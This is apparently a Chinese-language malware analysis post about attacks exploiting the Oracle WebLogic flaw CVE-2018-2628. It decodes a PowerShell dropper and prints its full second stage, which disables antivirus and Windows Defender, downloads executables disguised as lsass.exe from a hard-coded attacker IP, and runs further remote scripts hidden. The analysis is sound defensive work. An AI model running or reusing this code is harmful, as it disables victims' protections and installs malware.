最近，发现有使用Oracle WebLogic RCE反序列化漏洞（CVE-2018-2628） 进行攻击的活动。

攻击者在其请求中包含了PowerShell命令，且进过base64加密：

解码base64后代码如下：

$OS=(GWmi Win32_OperatingSystem).Caption;
$WC=New-Object Net.WebClient;
$WC.Headers[‘User-Agent’]=”PowerShell/WL $OS”;
IEX $WC.DownloadString(‘http://101.200.45.78/images/test/DL.php’);

攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。 尝试抓取该文件：

ERROR 404？really?

可能是我在这里遗漏了什么？ 让我们仔细分析命令：

我们可以看到攻击者在获取文件时需要用特定的User-Agent。
这就是为什么尝试直接wget / curl文件时，它失败了。

所以我们要做的是在获取文件时将User-Agent设置为完全相同。
在这种情况下，使用curl来获取文件：

root@leopardbox:~# curl -v -H User-Agent: “PowerShell/WL Microsoft Windows 7 Professional” http://111.230.229.226/images/test/DL.php

* Trying 111.230.229.226…

* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)

GET /images/test/DL.php HTTP/1.1

Host: 111.230.229.226

Accept: */*

User-Agent: PowerShell/WL Microsoft Windows 7 Professional < < HTTP/1.1 200 OK

< Date: Sun, 29 Apr 2018 11:50:23 GMT

< Server: Apache/2.2.21 (Win32) PHP/5.3.10

< X-Powered-By: PHP/5.3.10

< Content-Length: 2539

< Content-Type: text/html

< $EncodedCompressedFile = ‘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’;$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;

我们在这里看到另一个Base64编码

使用下面的Python脚本对其进行解码。
有了这个脚本，我们基本上可以看到Base64正在做什么。

以上面的Base64为例，将其粘贴在编码参数中，如下所示：

#!/usr/bin/python
import base64
import zlib

encoded = “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”

# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)

# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)

print decompressed

保存脚本并运行Python脚本：

C:\Users\Fossil\Desktop>python decodeb64.py > output_DL_php.txt

现在我们看看文本文件中的内容：

$MutexName = ‘Global\20190720’
$bCreated = $Flase
$hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated)
if ($bCreated)
{
Start-Sleep 180
$hMutex.ReleaseMutex()
}
else
{
Exit
}

#Update
$WmiName = ‘root\cimv2:PowerShell_Command’
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties[‘mPId’].Value
if ($mPId -ne $Null) {
Write-Host “[i] Old PId: $mPId”
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$WmiName = ‘root\default:PowerShell_Command’
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties[‘mPId’].Value
if ($mPId -ne $Null) {
Write-Host “[i] Old PId: $mPId”
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}

$SrvName = “ZhuDongFangYu”, “NisSrv”,”MsMpSvc”,”WdNisSvc”,”WinDefend”, “MBAMService”,”a2AntiMalware”
foreach ($Srv in $SrvName)
{
# Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue
# Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue
$Null = SC.exe Config $Srv Start= Disabled
$Null = SC.exe Stop $Srv
}
$ProName = “ZhuDongFangYu”, “MsMpEng”,”MpCmdRun”,”msseces”,”NisSrv”,”MSASCui”, “mbamtray”,”mbamservice”,”a2service”
foreach ($Pro in $ProName)
{
Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force
}

$Null = Reg.exe Add “HKLM\SoftWare\Microsoft\Windows Defender\SpyNet” /v “SpyNetReporting” /t REG_DWORD /d 0 /f
$Null = Reg.exe Add “HKLM\SoftWare\Microsoft\Windows Defender\Exclusions\Paths” /v “$Env:WinDir” /t REG_DWORD /d 0 /f
$Null = Reg.exe Add “HKLM\SoftWare\Policies\Microsoft\Windows Defender” /v “DisableAntiSpyware” /t REG_DWORD /d 1 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f

$Script = “Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString(‘http://101.200.45.78/images/def/DL.ps1’);”;
$ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script);
$EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);

$Path = “$Env:SystemRoot\System32\WindowsPowerShell\v1.0\PowerShell.exe”
$Argv = “-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript”
$Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru
$ProcessId = $($Process.Id)
if ($ProcessId -ne $Null)
{
Write-Host “[+] Neutrino PS Process Id is $ProcessId”
}
else
{
Write-Host “[-] Neutrino PS Process Id is NULL”
}

#Downloader
$x86 = “http://101.200.45.78/images/test/x86.exe”
$x64 = “http://101.200.45.78/images/test/x64.exe”
$File = “$Env:WinDir\Temp\lsass.eXe”
$WC = New-Object System.Net.WebClient

$Dir = “$Env:WinDir\Temp”;
if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; }
if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }

$OS = (Get-WmiObject Win32_ComputerSystem).SystemType
$SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
if (($OS -Match ’64’) -Or ($SO -Match ’64’))
{
Write-Host “[i] OS 64-bit”
$WC.DownloadFile($x64, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile(“http://101.200.45.78/images/test/x64_VMP.exe”, $File)
}
}
else
{
Write-Host ‘[i] OS 32-bit’
$WC.DownloadFile($x86, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile(“http://101.200.45.78/images/test/x86_VMP.exe”, $File)
}
}

if (Test-Path $File)
{
Write-Host ‘[+] Downloaded’
$Null = NetSH Firewall Add AllowedProgram $File “Windows Update” Enable
IEX $WC.DownloadString(‘101.200.45.78/images/test/WMI.ps1’)
}
else
{
Write-Host ‘[-] Fail To Download’
}